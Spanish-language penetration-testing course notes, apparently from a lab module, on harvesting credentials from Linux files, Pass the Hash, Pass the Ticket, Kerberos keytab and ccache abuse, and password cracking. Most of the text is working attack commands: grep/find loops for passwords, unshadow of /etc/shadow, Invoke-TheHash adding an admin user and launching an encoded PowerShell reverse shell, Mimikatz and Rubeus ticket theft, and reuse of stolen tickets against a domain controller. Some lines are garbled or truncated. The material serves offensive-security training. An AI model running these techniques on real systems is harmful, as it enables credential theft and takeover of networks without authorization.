for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep
"user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Bases de datos (Buscar DBs)
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l
2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
Los scripts son archivos que a menudo contienen información y procesos muy
confidenciales. Estos también contienen, entre otras cosas, las credenciales necesarias
para poder llamar y ejecutar los procesos automáticamente. De lo contrario, el
administrador o desarrollador tendría que introducir la contraseña correspondiente cada
vez que se llame al script o al programa compilado.
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "doc\|lib\|headers\|share";done
Cronjobs
cat /etc/crontab
También podemos usar el siguiente comando:
ls -la /etc/cron.*/
History
Todos los archivos históricos proporcionan información crucial sobre el curso actual y
pasado/histórico de los procesos. Estamos interesados en los archivos que almacenan el
historial de comandos de los usuarios y los registros que almacenan información sobre los
procesos del sistema.
En el historial de los comandos introducidos en las distribuciones Linux que utilizan Bash como
shell estándar encontramos los archivos asociados en formato .bash_history. Sin embargo,
otros archivos gustan .bashrc o .bash_profile pueden contener información importante.
Podremos ver la ruta del history completa y posteriormente ingresar a ver el archivo History
Registros (LOGS)
Un concepto esencial de los sistemas Linux son los archivos de registro que se almacenan
en archivos de texto. Muchos programas, especialmente todos los servicios y el propio
sistema, escriben este tipo de archivos. En ellos encontramos errores del sistema,
detectamos problemas relacionados con los servicios o seguimos lo que hace el sistema en
segundo plano. La totalidad de los archivos de registro se pueden dividir en cuatro
categorías:
Existen muchos registros diferentes en el sistema. Estos pueden variar dependiendo de las
aplicaciones instaladas, pero estas son algunas de las más importantes:
Cubrir el análisis de estos archivos de registro en detalle sería ineficiente en este caso.
Entonces, en este punto, debemos familiarizarnos con los registros individuales, primero
examinándolos manualmente y entendiendo sus formatos. Sin embargo, aquí hay algunas
cadenas que podemos usar para encontrar contenido interesante en los registros:
Una herramienta aún más poderosa que podemos usar y que se mencionó anteriormente
en la sección Búsqueda de credenciales en Windows es LaZagne. Esta herramienta nos
permite acceder a muchos más recursos y extraer las credenciales. Las contraseñas y
hashes que podemos obtener provienen de las siguientes fuentes, pero no se limitan a:
Los navegadores almacenan las contraseñas guardadas por el usuario de forma cifrada
localmente en el sistema para su reutilización. Por ejemplo, el navegador Mozilla Firefox
almacena las credenciales cifradas en una carpeta oculta para el usuario respectivo. Estos
suelen incluir los nombres de los campos asociados, las URL y otra información valiosa.
Por ejemplo, cuando almacenamos las credenciales de una página web en el navegador
Firefox, se cifran y se almacenan en el sistema [Link]. Sin embargo, esto no significa que
estén seguros allí. Muchos empleados almacenan dichos datos de inicio de sesión en su
navegador sin sospechar que pueden ser descifrados fácilmente y utilizados contra la
empresa.
python3.9 firefox_decrypt.py
Alternativamente, LaZagne también puede devolver resultados si el usuario ha utilizado el
navegador compatible.
Por lo general, encontramos el valor en x este campo, lo que significa que las contraseñas
se almacenan de forma cifrada en el archivo /etc/shadow. Sin embargo, también puede
ser que el archivo /etc/passwd se pueda escribir por error. Esto nos permitiría borrar este
campo para el usuario root de modo que el campo de información de contraseña esté
vacío. Esto hará que el sistema no envíe una solicitud de contraseña cuando un usuario
intente iniciar sesión como root.
head -n 1 /etc/passwd
su
Dado que la lectura de los valores hash de las contraseñas puede poner en peligro todo el
sistema /etc/shadow, se desarrolló un archivo que tiene un formato similar /etc/passwd,
pero solo es responsable de las contraseñas y su gestión. Contiene toda la información de
contraseña de los usuarios creados. Por ejemplo, si no hay ninguna entrada en el archivo
/etc/shadow para un usuario en /etc/passwd, el usuario se considera no válido. Además, el
archivo /etc/shadow solo lo pueden leer los usuarios que tienen derechos de administrador.
El formato de este archivo se divide en nine fields:
sudo cat /etc/shadow
Tipos de algoritmos
• $1$– MD5
• $2a$– Blowfish
• $2y$– Eksblowfish
• $5$-SHA-256
• $6$-SHA-512
Contraseña
Leyendo /etc/security/opasswd
Si observamos el contenido de este archivo, podemos ver que contiene varias entradas
para el usuario cry0l1t3, separadas por una coma (,). Otro punto crítico al que hay que
prestar atención es el tipo de hash que se ha utilizado. Esto se debe a que el algoritmo
MD5($1$) es mucho más fácil de descifrar que SHA-512. Esto es especialmente importante
para identificar contraseñas antiguas y tal vez incluso su patrón, porque a menudo se utilizan
en varios servicios o aplicaciones. Aumentamos muchas veces la probabilidad de adivinar
la contraseña correcta según su patrón.
Unshadow
cp /etc/passwd /tmp/[Link]
cp /etc/shadow /tmp/[Link]
unshadow /tmp/[Link] /tmp/[Link] > /tmp/[Link]
cat [Link]
[Link]
Instalación:
go install -v [Link]/projectdiscovery/nuclei/v3/cmd/nuclei@latest
ls $HOME/go/bin/nuclei
export PATH=$PATH:$HOME/go/bin
source ~/.bashrc # o source ~/.zshrc si usas Zsh
nuclei -version
Wapiti3
[Link]
[Link]
install
Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de
contraseña en lugar de la contraseña de texto sin formato para la autenticación. El
atacante no necesita descifrar el hash para obtener una contraseña en texto plano. Los
ataques PtH explotan el protocolo de autenticación, ya que el hash de la contraseña
permanece estático para cada sesión hasta que se cambia la contraseña.
Veamos cómo podemos realizar ataques Pass the Hash desde máquinas con Windows y
Linux.
A pesar de sus defectos conocidos, NTLM todavía se usa comúnmente para garantizar la
compatibilidad con clientes y servidores heredados, incluso en sistemas modernos. Si bien
Microsoft continúa admitiendo NTLM, Kerberos ha asumido el control como mecanismo de
autenticación predeterminado en Windows 2000 y dominios posteriores de Active Directory
(AD).
La primera herramienta que utilizaremos para realizar un ataque Pass the Hash es Mimikatz.
Mimikatz tiene un módulo llamado sekurlsa::pth que nos permite realizar un ataque Pass the
Hash iniciando un proceso utilizando el hash de la contraseña del usuario. Para utilizar este
módulo, necesitaremos lo siguiente:
Podemos obtener todos los hashes NTLM de los usuarios en un .txt ejecutando lo siguiente
desde la carpeta donde tenemos [Link]
Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en Windows es
Invoke-TheHash. Esta herramienta es una colección de funciones de PowerShell para
realizar ataques Pass the Hash con WMI y SMB. Se accede a las conexiones WMI y SMB a
través de .NET TCPClient. La autenticación se realiza pasando un hash NTLM al protocolo de
autenticación NTLMv2. Los privilegios de administrador local no son necesarios en el lado
del cliente, pero el usuario y el hash que utilizamos para autenticar deben tener derechos
administrativos en la computadora de destino. Para este ejemplo usaremos el usuario julio
y el hash 64F12CDDAA88057E06A81B54E73B949B.
Al usar Invoke-TheHash, tenemos dos opciones: ejecución de comando SMB o WMI. Para
utilizar esta herramienta, debemos especificar los siguientes parámetros para ejecutar
comandos en la computadora de destino:
El siguiente comando utilizará el método SMB para la ejecución del comando para crear
un nuevo usuario llamado mark y agregarlo al grupo de Administradores.
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target IP-Atacante-Windows -Domain [Link] -Username julio -
Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123
/add && net localgroup administrators mark /add" -Verbose
Oyente Netcat
Ahora podemos ejecutar Invoke-TheHash para ejecutar nuestro script de shell inverso de
PowerShell en la computadora de destino. Tenga en cuenta que en lugar de proporcionar
la dirección IP, que es [Link], usaremos el nombre de la máquina DC01(cualquiera de
los dos funcionaría).
Invocar-TheHash con WMI
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain [Link] -Username julio -Hash
64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e
JABjAGwACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Impacket tiene varias herramientas que podemos usar para diferentes operaciones como
Command Execution y Credential Dumping, Enumeration etc. Para este ejemplo,
realizaremos la ejecución de comandos en la máquina de destino usando PsExec.
Hay varias otras herramientas en el kit de herramientas de Impacket que podemos usar
para la ejecución de comandos mediante ataques Pass the Hash, como:
• impacto-wmiexec
• impacto-atexec
• impacto-smbexec
evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque
Pass the Hash con comunicación remota de PowerShell. Si SMB está bloqueado o no
tenemos derechos administrativos, podemos usar este protocolo alternativo para
conectarnos a la máquina de destino.
Nota: Cuando utilizamos una cuenta de dominio, debemos incluir el nombre del dominio,
por ejemplo: administrador@[Link]
Pass The Hash con RDP (Linux)
Podemos realizar un ataque RDP PtH para obtener acceso GUI al sistema de destino
utilizando herramientas como xfreerdp.
UAC (Control de cuentas de usuario) limita la capacidad de los usuarios locales para realizar
operaciones de administración remota. Cuando la clave de registro
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountToke
nFilterPolicy se establece en 0, significa que la cuenta de administrador local integrada
(RID-500, "Administrador") es la única cuenta local permitida para realizar tareas de
administración remota. Establecerlo en 1 también permite a los demás administradores
locales.
Estas configuraciones son solo para cuentas administrativas locales. Si obtenemos acceso
a una cuenta de dominio con derechos administrativos en una computadora, aún
podemos usar Pass the Hash con esa computadora. Si desea obtener más información
sobre LocalAccountTokenFilterPolicy, puede leer la publicación del blog de Will Schroeder
Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy .
Pass the Ticket (PtT) from Windows
Es TGT - Ticket Granting Ticket el primer ticket obtenido en un sistema Kerberos. El TGT permite
al cliente obtener tickets Kerberos adicionales o TGS.
La TGS - Ticket Granting Service solicitan los usuarios que quieren utilizar un servicio. Estos
tickets permiten que los servicios verifiquen la identidad del usuario.
En Windows, los tickets se procesan y almacenan mediante el proceso LSASS (Servicio del
subsistema de autoridad de seguridad local). Por lo tanto, para obtener un ticket desde un
sistema Windows, debes comunicarte con LSASS y solicitarlo. Como usuario no
administrativo, sólo podrás conseguir tus tickets, pero como administrador local, podrás
recogerlo todo.
[Link]
privilege::debug
sekurlsa::tickets /export
Los tickets que terminan en $ corresponden a la cuenta de la computadora, la cual
necesita un ticket para interactuar con Active Directory. Los tickets de usuario tienen el
nombre del usuario, seguido de un signo @ que separa el nombre del servicio y el dominio,
por ejemplo: [randomvalue]-username@[Link].
Nota: Si recoges un boleto con el servicio krbtgt, corresponde al TGT de esa cuenta.
RUBEUS
También podemos exportar tickets usando Rubeus y la opción dump. Esta opción se puede
utilizar para volcar todos los tickets (si se ejecuta como administrador local). Rubeus dump,
en lugar de darnos un archivo, imprimirá el ticket codificado en formato base64. Estamos
agregando la opción /nowrap para copiar y pegar más fácilmente.
Nota: Al momento de escribir este artículo, usando Mimikatz versión 2.2.0 20220919, si
ejecutamos "sekurlsa::ekeys", presenta todos los hashes como des_cbc_md4 en algunas
versiones de Windows 10. Los tickets exportados (sekurlsa::tickets /export) no funcionan
correctamente debido a un cifrado incorrecto. Es posible utilizar estos hashes para generar
nuevos tickets o utilizar Rubeus para exportar tickets en formato base64.
Esta es una forma común de recuperar boletos desde una computadora. Otra ventaja de
abusar de los tickets Kerberos es la posibilidad de falsificar nuestros propios tickets. Veamos
cómo podemos hacer esto usando la técnica OverPass the Hash or Pass the Key.
Pass the Key or OverPass the Hash (Pase la clave o pase por alto el hash)
La técnica tradicional Pass the Hash (PtH) implica reutilizar un hash de contraseña NTLM que
no toca Kerberos. El enfoque Pass the Key or OverPass the Hash convierte un hash/clave
(rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido a un dominio en un
archivo Ticket-Granting-Ticket (TGT). Esta técnica fue desarrollada por Benjamin Delpy y Skip
Duckwall en su presentación Abusing Microsoft Kerberos - Sorry, chicos, no lo entienden .
También Will Schroeder adaptó su proyecto para crear la herramienta Rubeus .
Para falsificar nuestros tickets, necesitamos tener el hash del usuario; Podemos usar Mimikatz
para volcar las claves de cifrado Kerberos de todos los usuarios usando el
módulo sekurlsa::ekeys. Este módulo enumerará todos los tipos de claves presentes para el
paquete Kerberos.
[Link]
privilege::debug
sekurlsa::ekeys
Ahora que tenemos acceso a las claves AES256_HMAC y RC4_HMAC, podemos realizar el
ataque OverPass the Hash o Pass the Key usando Mimikatz y Rubeus.
Mimikatz: pasar la clave o pasar por alto el hash (pass key or bypass hash)
[Link]
privilege::debug
sekurlsa::pth /domain:[Link] /user:plaintext
/ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
Esto creará una nueva ventana [Link] que podemos usar para solicitar acceso a
cualquier servicio que queramos en el contexto del usuario objetivo.
Para falsificar un ticket usando Rubeus, podemos usar el módulo asktgt con el nombre de
usuario, dominio y hash que puede ser /rc4, /aes128, /aes256 o /des. En el siguiente ejemplo,
utilizamos el hash aes256 de la información que recopilamos mediante Mimikatz
sekurlsa::ekeys.
Ejemplo de comando:
Para obtener más información sobre la diferencia entre Mimikatz sekurlsa::pth y Rubeus
asktgt, consulte la documentación de la herramienta Rubeus Ejemplo para OverPass the
Hash.
Nota: Los dominios modernos de Windows (nivel funcional 2008 y superior) utilizan el cifrado
AES de forma predeterminada en los intercambios normales de Kerberos. Si utilizamos un
hash rc4_hmac (NTLM) en un intercambio de Kerberos en lugar de una clave
aes256_cts_hmac_sha1 (o aes128), se puede detectar como una "degradación de cifrado".
Pass the Ticket (PtT)
Ahora que tenemos algunos tickets de Kerberos, podemos usarlos para movernos
lateralmente dentro de un entorno.
Otra forma es importar el ticket a la sesión actual utilizando el .kirbi archivo del disco.
Usemos un ticket exportado desde Mimikatz e importemoslo usando Pass the Ticket.
Rubeus - Pass the Ticket
También podemos usar la salida base64 de Rubeus o convertir un .kirbi a base64 para
realizar el ataque Pass the Ticket. Podemos usar PowerShell para convertir un .kirbi a base64.
[Convert]::ToBase64String([[Link]]::ReadAllBytes("[0;6c680]-2-0-40e10000-
plaintext@[Link]"))
Usando Rubeus, podemos realizar Pass the Ticket proporcionando la cadena base64 en
lugar del nombre del archivo.
Pase el boleto - Formato Base64 (Pass the Ticket - Base64 Format)
[Link] ptt
/ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5D
T02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKig
gOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2
XRLdV/
Por último, también podemos realizar el ataque Pass the Ticket usando el módulo Mimikatz
kerberos::ptt y el archivo .kirbi que contiene el ticket que queremos importar.
[Link]
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-
plaintext@[Link]"
En lugar de los comandos [Link] "privilege::debug" "kerberos::ptt
anteriores el oneliner C:\tools\[0;4dc52]-2-0-40e10000-john@krbtgt-
[Link]"
Nota: En lugar de abrir [Link] con [Link] y salir para obtener el ticket en el símbolo
del sistema actual, podemos usar el módulo Mimikatz misc para iniciar una nueva ventana
del símbolo del sistema con el ticket importado usando el misc::cmd comando.
PowerShell Remoting nos permite ejecutar scripts o comandos en un ordenador remoto. Los
administradores suelen utilizar PowerShell Remoting para administrar computadoras remotas
en la red. Habilitar PowerShell Remoting crea escuchas HTTP y HTTPS. La escucha se ejecuta
en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.
Para crear una sesión de PowerShell Remoting en una computadora remota, debe tener
permisos administrativos, ser miembro del grupo Usuarios de administración remota o tener
permisos explícitos de PowerShell Remoting en la configuración de su sesión.
Para usar PowerShell Remoting con Pass the Ticket, podemos usar Mimikatz para importar
nuestro ticket y luego abrir una consola PowerShell y conectarnos a la máquina de destino.
Abramos uno nuevo [Link] y ejecutemos [Link], luego importemos el ticket que
recopilamos usando kerberos::ptt. Una vez que el ticket se importa a nuestra sesión de
[Link], podemos iniciar un símbolo del sistema de PowerShell desde el mismo [Link] y
usar el comando Enter-PSSession para conectarnos a la máquina de destino.
Mimikatz - Pass the Ticket for Lateral Movement.
[Link]
privilege::debug
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-
john@[Link]"
exit
powershell
Enter-PSSession -ComputerName DC01
whoami
hostname
Ahora hemos cubierto varias formas de realizar ataques Pass the Ticket desde un host de
Windows. La siguiente sección cubrirá esta misma técnica de movimiento lateral utilizando
un host de ataque Linux.
Pass the Ticket (PtT) from Linux
Aunque no es común, las computadoras con Linux pueden conectarse a Active Directory
para proporcionar administración de identidades centralizada e integrarse con los sistemas
de la organización, brindando a los usuarios la capacidad de tener una identidad única
para autenticarse en computadoras con Linux y Windows.
Una computadora Linux conectada a Active Directory comúnmente usa Kerberos como
autenticación. Supongamos que este es el caso y logramos comprometer una máquina
Linux conectada a Active Directory. En ese caso, podríamos intentar encontrar tickets de
Kerberos para hacerse pasar por otros usuarios y obtener más acceso a la red.
Nota: Una máquina Linux no conectada a Active Directory podría usar tickets de Kerberos
en scripts o para autenticarse en la red. No es necesario estar unido al dominio para utilizar
tickets Kerberos desde una máquina Linux.
Kerberos en Linux
Windows y Linux utilizan el mismo proceso para solicitar un Ticket de concesión de tickets
(TGT) y un Ticket de servicio (TGS). Sin embargo, la forma en que almacenan la información
del ticket puede variar según la distribución e implementación de Linux.
Otro uso cotidiano de Kerberos en Linux es con archivos keytab . Una tabla de claves es un
archivo que contiene pares de principales de Kerberos y claves cifradas (que se derivan de
la contraseña de Kerberos). Puede usar un archivo de tabla de claves para autenticarse en
varios sistemas remotos usando Kerberos sin ingresar una contraseña. Sin embargo, cuando
cambia su contraseña, debe volver a crear todos sus archivos de tabla de claves.
Nota: Cualquier computadora que tenga instalado un cliente Kerberos puede crear
archivos de tabla de claves. Los archivos Keytab se pueden crear en una computadora y
copiar para su uso en otras computadoras porque no están restringidos a los sistemas en los
que se crearon inicialmente.
Scenario
Para practicar y entender cómo podemos abusar de Kerberos desde un sistema Linux,
tenemos una computadora (LINUX01) conectada al Controlador de Dominio. Solo se
puede acceder a esta máquina a través de MS01. Para acceder a esta máquina a través
de SSH, podemos conectarnos MS01 a través de RDP y, desde allí, conectarnos a la
máquina Linux usando SSH desde la línea de comandos de Windows. Otra opción es utilizar
un redireccionamiento de puertos. Si no sabes cómo hacerlo, puedes leer el
módulo Pivoting, Tunneling y Port Forwarding .
Supongamos que estamos en una nueva evaluación y la empresa nos da acceso LINUX01
y el usuario david@[Link] y contraseña Password2.
Podemos identificar si la máquina Linux está unida a un dominio usando kingdom , una
herramienta utilizada para administrar la inscripción del sistema en un dominio y establecer
qué usuarios o grupos del dominio pueden acceder a los recursos del sistema local.
realm list
El resultado del comando indica que la máquina está configurada como miembro de
Kerberos. También nos da información sobre el nombre del dominio ([Link]) y qué
usuarios y grupos pueden iniciar sesión, que en este caso son los usuarios David y Julio y el
grupo Linux Admins.
En caso de que kingdom no esté disponible, también podemos buscar otras herramientas
utilizadas para integrar Linux con Active Directory como sssd o winbind . Buscar los servicios
que se ejecutan en la máquina es otra forma de identificar si está unida al dominio.
Podemos leer esta publicación de blog para más detalles. Busquemos esos servicios para
confirmar si la máquina está unida al dominio.
Un método sencillo es utilizar find para buscar archivos cuyo nombre contenga la
palabra keytab. Cuando un administrador normalmente crea un ticket de Kerberos para
usarlo con un script, establece la extensión en .keytab. Aunque no es obligatorio, es una
forma en la que los administradores suelen referirse a un archivo de tabla de claves.
Nota: Para utilizar un archivo keytab, debemos tener privilegios de lectura y escritura (rw) en
el archivo.
crontab -l
cat /home/carlos@[Link]/.scripts/kerberos_script_test.sh
En el script anterior, notamos el uso de kinit , lo que significa que Kerberos está en
uso. kinit permite la interacción con Kerberos, y su función es solicitar el TGT del usuario y
almacenar este ticket en el caché (archivo ccache). Podemos usarlo kinit para
importar keytab a nuestra sesión y actuar como usuario.
Nota: Como comentamos en la sección Pasar el ticket desde Windows, una cuenta de
computadora necesita un ticket para interactuar con el entorno de Active Directory. De
manera similar, una máquina unida a un dominio Linux necesita un ticket. El ticket se
representa como un archivo de tabla de claves ubicado de forma predeterminada
en /etc/[Link] solo puede ser leído por el usuario root. Si logramos acceder a este
ticket, podemos suplantar la cuenta de computadora LINUX01$.[Link]
Como atacantes, podemos tener varios usos para un archivo keytab. Lo primero que
podemos hacer es suplantar a un usuario usando kinit. Para utilizar un archivo keytab,
necesitamos saber para qué usuario fue creado. Klist es otra aplicación utilizada para
interactuar con Kerberos en Linux. Esta aplicación lee información de un archivo keytab.
Veámoslo con el siguiente comando:
klist -k -t
El ticket corresponde al usuario Carlos. Ahora podemos suplantar al usuario con kinit.
Confirmemos con qué ticket estamos usando klist y luego importemos el ticket de Carlos a
nuestra sesión con kinit.
Nota: kinit distingue entre mayúsculas y minúsculas, así que asegúrese de utilizar el nombre
del principal como se muestra en klist. En este caso, el nombre de usuario está en minúsculas
y el nombre de dominio está en mayúsculas.
Suplantar a un usuario con una tabla de claves (keytab)
klist
kinit carlos@[Link] -k -t /opt/specialfiles/[Link]
klist
smbclient //dc01/carlos -k -c ls
Nota: Para conservar el ticket de la sesión actual, antes de importar la tabla de claves,
guarde una copia del archivo ccache presente en la variable de entorno KRB5CCNAME.
El segundo método que usaremos para abusar de Kerberos en Linux es extraer los secretos
de un archivo keytab. Pudimos hacernos pasar por Carlos usando los tickets de la cuenta
para leer una carpeta compartida en el dominio, pero si queremos obtener acceso a su
cuenta en la máquina Linux, necesitaremos su contraseña.
Podemos intentar descifrar la contraseña de la cuenta extrayendo los hashes del archivo
keytab. Usemos KeyTabExtract , una herramienta para extraer información valiosa de
archivos .keytab de tipo 502, que pueden usarse para autenticar cajas de Linux en Kerberos.
El script extraerá información como el dominio, la entidad de servicio, el tipo de cifrado y
los hashes.
Con el hash NTLM, podemos realizar un ataque Pass the Hash. Con el hash AES256 o AES128
podemos falsificar nuestros tickets usando Rubeus o intentar descifrar los hashes para
obtener la contraseña en texto plano.
Nota: Un archivo de tabla de claves puede contener diferentes tipos de hashes y se puede
combinar para contener varias credenciales incluso de diferentes usuarios.
Como podemos ver en la imagen, la contraseña del usuario Carlos es Password5. Ahora
podemos iniciar sesión como Carlos.
Inicia sesión como Carlos
su - carlos@[Link]
Para abusar de un archivo ccache, todo lo que necesitamos son privilegios de lectura sobre
el archivo. Estos archivos, ubicados en /tmp, sólo pueden ser leídos por el usuario que los
creó, pero si conseguimos acceso root, podremos utilizarlos.
Una vez que iniciamos sesión con las credenciales del usuario svc_workstations, podemos
usar sudo -l y confirmar que el usuario puede ejecutar cualquier comando como root.
Podemos usar el comando sudo su para cambiar el usuario a root.
ls -la /tmp
id julio@[Link]
Julio es miembro del grupo Domain Admins. Podemos intentar suplantar al usuario y obtener
acceso al DC01, host del controlador de dominio.
Para usar un archivo ccache, podemos copiar el archivo ccache y asignar la ruta del
archivo a la variable KRB5CCNAME.
Importando el archivo ccache a nuestra sesión actual
klist
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=/root/krb5cc_647401106_I8I133
klist
smbclient //dc01/C$ -k -c ls -no-pass
Nota: klist muestra la información del ticket. Debemos considerar los valores "inicio válido" y
"caduca". Si la fecha de vencimiento ha pasado, el boleto no funcionará. ccache files son
temporales. Pueden cambiar o caducar si el usuario ya no los utiliza o durante las
operaciones de inicio y cierre de sesión.
La mayoría de las herramientas de ataque de Linux que interactúan con Windows y Active
Directory admiten la autenticación Kerberos. Si los usamos desde una máquina unida a un
dominio, debemos asegurarnos de que nuestra variable de entorno KRB5CCNAME esté
configurada en el archivo ccache que queremos usar. En caso de que estemos atacando
desde una máquina que no es miembro del dominio, por ejemplo, nuestro host de ataque,
debemos asegurarnos de que nuestra máquina pueda comunicarse con el KDC o el
controlador de dominio y que la resolución de nombres de dominio esté funcionando.
Editamos el /etc/hosts
[Link] [Link]
nslookup [Link]
Comunicación con el KDC:
ping [Link]
telnet [Link] 88
Si puedes resolver el nombre y comunicarte con el KDC en el puerto 88, significa que la
resolución de nombres de dominio y la comunicación con el controlador de dominio están
funcionando correctamente.
cat /etc/hosts
cat /etc/[Link]
Debemos descargar y ejecutar chisel en nuestro host de ataque.
wget
[Link]
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisel && chmod +x ./chisel
sudo ./chisel server --reverse
export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133
Impacket
Para usar el ticket Kerberos, debemos especificar el nombre de nuestra máquina de destino
(no la dirección IP) y usar la opción -k. Si nos solicita una contraseña, también podemos
incluir la opción -no-pass.
Nota: Si está utilizando herramientas Impacket desde una máquina Linux conectada al
dominio, tenga en cuenta que algunas implementaciones de Active Directory de Linux
utilizan el prefijo ARCHIVO: en la variable KRB5CCNAME. Si este es el caso, necesitamos
modificar la variable solo para incluir la ruta al archivo ccache.
Evil-Winrm
Para utilizar evil-winrm con Kerberos, necesitamos instalar el paquete Kerberos utilizado para
la autenticación de red. Para algunos Linux como los basados en Debian (Parrot, Kali, etc.),
se llama krb5-user. Durante la instalación, recibiremos un mensaje para el ámbito de
Kerberos. Utilice el nombre de dominio: [Link] y el KDC es el DC01.
Miscellaneous
Si queremos usar a ccache file en Windows o kirbi file en una máquina Linux, podemos
usar impacket-ticketConverter (impacket/examples/[Link]) para convertirlos.
Para usarlo, especificamos el archivo que queremos convertir y el nombre del archivo de
salida. Convirtamos el archivo ccache de Julio a kirbi.
Linikatz es una herramienta creada por el equipo de seguridad de Cisco para explotar
credenciales en máquinas Linux cuando hay integración con Active Directory. En otras
palabras, Linikatz aporta un principio similar a Mimikatz los entornos UNIX.
Al igual que Mimikatz, para aprovechar Linikatz, necesitamos ser root en la máquina. Esta
herramienta extraerá todas las credenciales, incluidos los tickets de Kerberos, de diferentes
implementaciones de Kerberos como FreeIPA, SSSD, Samba, Vintella, etc. Una vez que
extrae las credenciales, las coloca en una carpeta cuyo nombre comienza con linikatz.
Dentro de esta carpeta encontrará las credenciales en los diferentes formatos disponibles,
incluidos ccache y keytabs. Estos se pueden utilizar, según corresponda, como se explicó
anteriormente.
wget [Link]
/opt/[Link]
Comando de linux para saber el usuario actual a que grupos está permitido:
realm list
Keytabs
crontab -l
Tickets
para importar el ticket Kerberos de User desde el directorio /tmp, y luego usar ese ticket
para acceder a la carpeta compartida \\DC01\user y leer el archivo [Link]
Vamos a cd ~ y tipeamos lo siguiente para copiar los tickets y poder usarlos para
conectarnos al DC01 y ver archivos compartidos para el usuario julio:
cd ~
cp /tmp/krb5cc_647401106_HRJDux .
cp /tmp/krb5cc_647401106_QuwYhV .
export KRB5CCNAME=/root/krb5cc_647401106_HRJDux
export KRB5CCNAME=/root/krb5cc_647401106_QuwYhV
klist
smbclient //DC01/julio -k
more [Link]
[Link]
cd ~
cp /var/lib/sss/db/ccache_INLANEFREIGHT.HTB .
export KRB5CCNAME=/root/ccache_INLANEFREIGHT.HTB
klist
smbclient //DC01/linux01 -k -c
mget [Link]
Protected Files
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile
extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
La mayoría de las claves SSH que encontramos hoy en día están cifradas. Podemos
reconocerlas por el encabezado de la clave SSH, ya que muestra el método de cifrado
utilizado.
John The Ripper Tiene muchos scripts diferentes para generar hashes a partir de archivos
que luego podemos usar para descifrar. Podemos encontrar estos scripts en nuestro sistema
usando el siguiente comando.
locate *2john*
Podemos convertir muchos formatos diferentes en hashes únicos e intentar descifrar las
contraseñas con esto. Luego, podemos abrir, leer y usar el archivo si tenemos éxito. Existe
un script de Python llamado [Link] para claves SSH, que genera los hashes
correspondientes para claves SSH cifradas, que luego podemos almacenar en archivos.
John
hashcat
John the Ripper y Hashcat son dos de las herramientas más populares para crackear hashes
y contraseñas, pero tienen enfoques ligeramente diferentes y soporte para diversos tipos de
hashes. A continuación, te explico los tipos de hashes que ambas herramientas pueden
crackear y algunas diferencias importantes entre ellas:
John the Ripper es muy versátil y flexible, especialmente para sistemas operativos Unix/Linux,
pero también es efectivo para hashes de Windows y otros sistemas. Se especializa en la
detección automática del tipo de hash y es una buena opción para ataques contra
contraseñas locales o hashes que suelen encontrarse en sistemas y bases de datos.
2. Hashcat
Hashcat es una herramienta optimizada para el uso de GPUs (aunque también puede
usarse en CPU), lo que lo convierte en una de las herramientas más rápidas para crackear
contraseñas. Se destaca por su capacidad para realizar ataques masivos y su amplia
compatibilidad con diversos tipos de hashes, especialmente aquellos usados en
aplicaciones modernas y sistemas en la nube.
Tipos comunes de hashes soportados por Hashcat:
• Contraseñas de sistemas:
o NTLM (Windows NT hashes)
o LM (LAN Manager)
o MD5
o SHA-1
o SHA-256, SHA-512
o bcrypt (Blowfish)
• Contraseñas de criptomonedas y aplicaciones:
o Bitcoin/Litecoin wallets (multihash)
o Blockchain keys
• Bases de datos:
o MySQL (v3, v4, v5)
o MSSQL (2000, 2005, 2012)
o Oracle (11g)
• Criptografía avanzada:
o PBKDF2 (SHA-256 y SHA-512)
o Argon2
o WPA/WPA2 (con el handshake capturado)
o Kerberos 5 AS-REP
o Cisco, Juniper hashes
• Documentos cifrados:
o ZIP, 7-Zip, RAR
o PDF
o Office (Excel, Word, PowerPoint con protección)
Fortalezas de Hashcat:
• Uso de GPU: Hashcat está altamente optimizado para el uso de GPUs, lo que le
permite crackear hashes de manera mucho más rápida que herramientas basadas
solo en CPU.
• Soporte para algoritmos modernos: Hashcat soporta muchos de los algoritmos más
modernos y seguros, como bcrypt, Argon2, y otros hashes de alta seguridad.
• Escalabilidad: Gracias a su uso de GPU y su diseño modular, es ideal para
operaciones masivas y distribuibles, por lo que es preferido para ataques masivos.
• John the Ripper es ideal si necesitas crackear hashes relacionados con sistemas
operativos (Unix, Linux) o si trabajas con contraseñas locales y archivos protegidos.
• Hashcat es la mejor opción si tienes acceso a una GPU y necesitas crackear grandes
cantidades de hashes rápidamente, o si trabajas con algoritmos modernos y más
